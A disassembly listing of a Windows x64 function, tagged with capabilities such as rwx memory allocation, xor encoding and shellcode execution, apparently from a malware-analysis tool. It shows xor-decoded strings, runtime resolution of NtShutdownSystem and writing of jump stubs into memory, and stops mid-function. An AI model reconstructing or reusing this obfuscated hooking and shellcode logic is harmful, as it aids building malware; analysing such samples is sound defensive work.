Function at 0x180014cc0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get system information on windows
Link many functions at runtime
Make suspicious ntquerysysteminformation call

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x168]
sub rsp, 0x240
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x18004d010]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov r12, rdx
mov r14, rcx
xor ebx, ebx
mov dword [rbp + 8], ebx
mov edi, ebx
lea r9, [rbp + 8]
xor r8d, r8d
xor edx, edx
lea ecx, [rbx + 0x40]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
lea r13d, [rbx + 4]
cmp eax, 0xc0000004
jne 0x180014d75
nop dword [rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 8]
mov r9d, r13d
xor ecx, ecx
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea r9, [rbp + 8]
mov r8d, dword [rbp + 8]
mov rdx, rax
mov ecx, 0x40
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x180014d30
test eax, eax
js 0x180016cc0
test rdi, rdi
je 0x180016cd6
mov r15, rbx
mov esi, ebx
cmp qword [rdi], rbx
jbe 0x180014dd9
mov rax, rbx
lea rax, [rax + rax*4]
movups xmm6, xmmword [rdi + rax*8 + 0x10]
movups xmmword [rbp - 0x50], xmm6
movups xmm0, xmmword [rdi + rax*8 + 0x20]
movups xmmword [rbp - 0x40], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
psrldq xmm6, 8
movq rax, xmm6
cmp rax, rcx
jne 0x180014dc6
cmp qword [rbp - 0x40], r12
je 0x180014dd5
inc esi
mov eax, esi
cmp rax, qword [rdi]
jae 0x180016cc5
jmp 0x180014d93
mov r15, qword [rbp - 0x50]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r15, r15
je 0x180016cd6
mov qword [rbp + 0x40], rbx
mov ecx, dword [0x18004dec4]
mov rax, qword gs:[0x58]
mov edx, 4
mov rdi, qword [rax + rcx*8]
add rdi, rdx
mov r12d, 0x1f
mov esi, dword [0x18004d018]
mov eax, dword [rdi]
cmp dword [0x18004df9c], eax
jle 0x180015141
lea rcx, [0x18004df9c]
call fcn.180024c20
cmp dword [0x18004df9c], 0xffffffff
jne 0x180015141
mov rax, qword [str.UWVSK__]
mov qword [rbp - 0x80], rax
cmp byte [0x180047adf], 0
je 0x180014fa0
cmp esi, 2
jl 0x180014f62
movdqa xmm4, xmmword [0x180048060]
movd xmm6, r13d
movd xmm5, r12d
movdqa xmm2, xmmword [0x180047fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x180048040]
movd xmm0, dword [rbp - 0x80]
pxor xmm2, xmm0
movd dword [rbp - 0x80], xmm2
movdqa xmm3, xmmword [0x180047fc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x180048040]
movd xmm0, dword [rbp - 0x7c]
pxor xmm2, xmm0
movd dword [rbp - 0x7c], xmm2
jmp 0x180014fa0
lea r9, [rbp - 0x80]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x180014f70
mov eax, dword [0x180047ac0]
mov dword [rsp + 0x28], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x180047ac4]
movsd qword [rsp + 0x20], xmm0
mov byte [rsp + 0x2c], al
mov r8d, ebx
cmp esi, 2
jl 0x1800150db
movdqa xmm4, xmmword [0x180048060]
movd xmm6, r13d
movd xmm5, r12d
movdqa xmm2, xmmword [0x180047fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
mov eax, dword [0x180048040]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.VMUHWOPSn_:D]
pxor xmm2, xmm1
movd dword [rsp + 0x20], xmm2
movdqa xmm3, xmmword [0x180047fc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x24]
pxor xmm2, xmm1
movd dword [rsp + 0x24], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x20]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800150f0
lea rdx, [rbp - 0x80]
lea rcx, [rsp + 0x20]
call fcn.180009e10
mov qword [0x18004e010], rax
lea rcx, [0x18004df9c]
call fcn.180024bc0
mov r12, qword [0x18004e010]
mov eax, dword [rdi]
cmp dword [0x18004e008], eax
jle 0x180015197
lea rcx, [0x18004e008]
call fcn.180024c20
cmp dword [0x18004e008], 0xffffffff
jne 0x180015197
lea rcx, [0x180027a08]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18004dfa8], rax
lea rcx, [0x18004e008]
call fcn.180024bc0
mov eax, dword [rdi]
cmp dword [0x18004df30], eax
jle 0x1800151e0
lea rcx, [0x18004df30]
call fcn.180024c20
cmp dword [0x18004df30], 0xffffffff
jne 0x1800151e0
mov edx, 2
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x1800266f0]
call fcn.1800250d4
lea rcx, [0x18004df30]
call fcn.180024bc0
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x1800151fa
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov dword [rbp + 0x50], 0x25ff
mov word [rbp + 0x54], 0
mov qword [rbp + 0x56], r12
mov rax, qword [0x18004dfa0]
mov qword [rbp - 0x28], 0xe
lea rcx, [rbp + 0xb0]
mov qword [rbp - 0x20], rcx
mov qword [rbp + 0x20], rax
mov rcx, qword [r14 + 0x38]
test rcx, rcx
jne 0x180015239
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp - 0x28]
lea r8, [rbp - 0x20]
lea rdx, [rbp + 0x20]
call qword [rax + 0x10]
test al, al
je 0x18001672c
mov rax, qword [0x18004dfa0]
mov qword [rbp - 0x18], 0xe
lea rcx, [rbp + 0x50]
mov qword [rbp], rcx
mov qword [rbp + 0x30], rax
mov rcx, qword [r14 + 0x78]
test rcx, rcx
jne 0x18001527e
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp - 0x18]
lea r8, [rbp]
lea rdx, [rbp + 0x30]
call qword [rax + 0x10]
test al, al
je 0x18001672c
mov rax, qword [0x18004dfa8]
lea rdx, [r15 + 8]
mov r8d, 8
lea rcx, [rbp + 0x40]
call rax
mov r15, rax
mov rcx, qword [0x18004dfa0]
mov qword [rbp - 8], 0xe
lea rax, [rbp + 0xb0]
mov qword [rbp - 0x10], rax
mov qword [rbp + 0x28], rcx
mov rcx, qword [r14 + 0x78]
test rcx, rcx
jne 0x1800152e0
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp - 8]
lea r8, [rbp - 0x10]
lea rdx, [rbp + 0x28]
call qword [rax + 0x10]
lea rcx, [0x18004dfb0]
test al, al
je 0x180016733
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
test r15, r15
je 0x180016cd6
mov rax, qword [rbp + 0x40]
test rax, rax
je 0x180016cd6
mov qword [rbp + 0x48], rbx
lea r12, [rax + 8]
mov eax, dword [rdi]
cmp dword [0x18004df9c], eax
jle 0x180015651
lea rcx, [0x18004df9c]
call fcn.180024c20
cmp dword [0x18004df9c], 0xffffffff
jne 0x180015651
mov rax, qword [str.UWVSK__]
mov qword [rbp - 0x78], rax
cmp byte [0x180047adf], 0
je 0x1800154b0
cmp esi, 2
jl 0x180015473
movdqa xmm4, xmmword [0x180048060]
movd xmm6, r13d
mov ecx, 0x1f
movd xmm5, ecx
movdqa xmm2, xmmword [0x180047fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
mov eax, dword [0x180048040]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x78]
pxor xmm2, xmm1
movd dword [rbp - 0x78], xmm2
movdqa xmm3, xmmword [0x180047fc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x74]
pxor xmm2, xmm1
movd dword [rbp - 0x74], xmm2
jmp 0x1800154b5
lea r9, [rbp - 0x78]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x180015480
mov ecx, 0x1f
mov eax, dword [0x180047ac0]
mov dword [rsp + 0x48], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x180047ac4]
movsd qword [rsp + 0x40], xmm0
mov byte [rsp + 0x4c], al
mov r8d, ebx
cmp esi, 2
jl 0x1800155ef
movdqa xmm4, xmmword [0x180048060]
movd xmm6, r13d
movd xmm5, ecx
movdqa xmm2, xmmword [0x180047fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
mov eax, dword [0x180048040]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.VMUHWOPSn_:D]
pxor xmm2, xmm1
movd dword [rsp + 0x40], xmm2
movdqa xmm3, xmmword [0x180047fc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x44]
pxor xmm2, xmm1
movd dword [rsp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180015600
lea rdx, [rbp - 0x78]
lea rcx, [rsp + 0x40]
call fcn.180009e10
mov qword [0x18004e010], rax
lea rcx, [0x18004df9c]
call fcn.180024bc0
mov r15, qword [0x18004e010]
mov eax, dword [rdi]
cmp dword [0x18004e008], eax
jle 0x1800156a7
lea rcx, [0x18004e008]
call fcn.180024c20
cmp dword [0x18004e008], 0xffffffff
jne 0x1800156a7
lea rcx, [0x180027a08]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18004dfa8], rax
lea rcx, [0x18004e008]
call fcn.180024bc0
mov eax, dword [rdi]
cmp dword [0x18004df30], eax
jle 0x1800156f0
lea rcx, [0x18004df30]
call fcn.180024c20
cmp dword [0x18004df30], 0xffffffff
jne 0x1800156f0
mov edx, 2
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x1800266f0]
call fcn.1800250d4
lea rcx, [0x18004df30]
call fcn.180024bc0
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x18001570a
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov dword [rbp + 0x60], 0x25ff
mov word [rbp + 0x64], 0
mov qword [rbp + 0x66], r15
mov rax, qword [0x18004dfa0]
mov qword [rbp + 0x28], 0xe
lea rcx, [rbp + 0xc0]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
mov rcx, qword [r14 + 0x38]
test rcx, rcx
jne 0x180015749
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x28]
lea r8, [rbp - 0x10]
lea rdx, [rbp - 8]
call qword [rax + 0x10]
test al, al
je 0x18001672c
mov rax, qword [0x18004dfa0]
mov qword [rbp + 0x30], 0xe
lea rcx, [rbp + 0x60]
mov qword [rbp], rcx
mov qword [rbp - 0x18], rax
mov rcx, qword [r14 + 0x78]
test rcx, rcx
jne 0x18001578e
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x30]
lea r8, [rbp]
lea rdx, [rbp - 0x18]
call qword [rax + 0x10]
test al, al
je 0x18001672c
mov rax, qword [0x18004dfa8]
mov r8d, 8
mov rdx, r12
lea rcx, [rbp + 0x48]
call rax
mov r15, rax
mov rcx, qword [0x18004dfa0]
mov qword [rbp + 0x20], 0xe
lea rax, [rbp + 0xc0]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x28], rcx
mov rcx, qword [r14 + 0x78]
test rcx, rcx
jne 0x1800157ef
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x20]
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x28]
call qword [rax + 0x10]
lea rcx, [0x18004dfb0]
test al, al
je 0x180016733
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
test r15, r15
je 0x180016cd6
mov rax, qword [rbp + 0x48]
test rax, rax
je 0x180016cd6
mov qword [rbp + 0x38], rbx
lea r12, [rax + 0x28]
mov eax, dword [rdi]
cmp dword [0x18004df9c], eax
jle 0x180015b61
lea rcx, [0x18004df9c]
call fcn.180024c20
cmp dword [0x18004df9c], 0xffffffff
jne 0x180015b61
mov rax, qword [str.UWVSK__]
mov qword [rbp - 0x70], rax
cmp byte [0x180047adf], 0
je 0x1800159c0
cmp esi, 2
jl 0x180015982
movdqa xmm4, xmmword [0x180048060]
movd xmm6, r13d
mov ecx, 0x1f
movd xmm5, ecx
movdqa xmm2, xmmword [0x180047fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
mov eax, dword [0x180048040]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x70]
pxor xmm2, xmm1
movd dword [rbp - 0x70], xmm2
movdqa xmm3, xmmword [0x180047fc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x6c]
pxor xmm2, xmm1
movd dword [rbp - 0x6c], xmm2
jmp 0x1800159c5
lea r9, [rbp - 0x70]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x180015990
mov ecx, 0x1f
mov eax, dword [0x180047ac0]
mov dword [rsp + 0x38], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x180047ac4]
movsd qword [rsp + 0x30], xmm0
mov byte [rsp + 0x3c], al
mov r8d, ebx
cmp esi, 2
jl 0x180015aff
movdqa xmm4, xmmword [0x180048060]
movd xmm6, r13d
movd xmm5, ecx
movdqa xmm2, xmmword [0x180047fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
mov eax, dword [0x180048040]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str.VMUHWOPSn_:D]
pxor xmm2, xmm1
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x180047fc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
pxor xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180015b10
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.180009e10
mov qword [0x18004e010], rax
lea rcx, [0x18004df9c]
call fcn.180024bc0
mov r15, qword [0x18004e010]
mov eax, dword [rdi]
cmp dword [0x18004e008], eax
jle 0x180015bb7
lea rcx, [0x18004e008]
call fcn.180024c20
cmp dword [0x18004e008], 0xffffffff
jne 0x180015bb7
lea rcx, [0x180027a08]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18004dfa8], rax
lea rcx, [0x18004e008]
call fcn.180024bc0
mov eax, dword [rdi]
cmp dword [0x18004df30], eax
jle 0x180015c00
lea rcx, [0x18004df30]
call fcn.180024c20
cmp dword [0x18004df30], 0xffffffff
jne 0x180015c00
mov edx, 2
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_init_in_situ]
lea rcx, [0x1800266f0]
call fcn.1800250d4
lea rcx, [0x18004df30]
call fcn.180024bc0
lea rcx, [0x18004dfb0]
call qword [sym.imp.MSVCP140.dll__Mtx_lock]
test eax, eax
je 0x180015c1a
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov dword [rbp + 0x70], 0x25ff
mov word [rbp + 0x74], 0
mov qword [rbp + 0x76], r15
mov rax, qword [0x18004dfa0]
mov qword [rbp + 0x28], 0xe
lea rcx, [rbp + 0xd0]
mov qword [rbp - 0x10], rcx
mov qword [rbp - 8], rax
mov rcx, qword [r14 + 0x38]
test rcx, rcx
jne 0x180015c59
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x28]
lea r8, [rbp - 0x10]
lea rdx, [rbp - 8]
call qword [rax + 0x10]
test al, al
je 0x18001672c
mov rax, qword [0x18004dfa0]
mov qword [rbp + 0x30], 0xe
lea rcx, [rbp + 0x70]
mov qword [rbp], rcx
mov qword [rbp - 0x18], rax
mov rcx, qword [r14 + 0x78]
test rcx, rcx
jne 0x180015c9e
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x30]
lea r8, [rbp]
lea rdx, [rbp - 0x18]
call qword [rax + 0x10]
test al, al
je 0x18001672c
mov rax, qword [0x18004dfa8]
mov r8d, 8
mov rdx, r12
lea rcx, [rbp + 0x38]
call rax
mov r15, rax
mov rcx, qword [0x18004dfa0]
mov qword [rbp + 0x20], 0xe
lea rax, [rbp + 0xd0]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x28], rcx
mov rcx, qword [r14 + 0x78]
test rcx, rcx
jne 0x180015cff
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xbad_function_call_void_]
int3
mov rax, qword [rcx]
lea r9, [rbp + 0x20]
lea r8, [rbp - 0x20]
lea rdx, [rbp - 0x28]
call qword [rax + 0x10]
lea rcx, [0x18004dfb0]
test al, al
je 0x180016733
call qword [sym.imp.MSVCP140.dll__Mtx_unlock]
test r15, r15
je 0x180016cd6
mov rax, qword [rbp + 0x38]
test rax, rax
je 0x180016cd6
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
lea r12, [rax + 0x58]
mov eax, dword [rdi]
cmp dword [0x18004df9c], eax
jle 0x180016071
lea rcx, [0x18004df9c]
call fcn.180024c20
cmp dword [0x18004df9c], 0xffffffff
jne 0x180016071
mov rax, qword [str.UWVSK__]
mov qword [rbp - 0x68], rax
cmp byte [0x180047adf], 0
je 0x180015ed0
cmp esi, 2
jl 0x180015e95
movdqa xmm4, xmmword [0x180048060]
movd xmm6, r13d
mov ecx, 0x1f
movd xmm5, ecx
movdqa xmm2, xmmword [0x180047fb0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
mov eax, dword [0x180048040]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x68]
pxor xmm2, xmm1
movd dword [rbp - 0x68], xmm2
movdqa xmm3, xmmword [0x180047fc0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x180047fe0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x180048020]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x64]
pxor xmm2, xmm1
movd dword [rbp - 0x64], xmm2
jmp 0x180015ed5
lea r9, [rbp - 0x68]
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x180015ea0
mov ecx, 0x1f
mov eax, dword [0x180047ac0]
mov dword [rsp + 0x78], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x180047ac4]
movsd qword [rsp + 0x70], xmm0
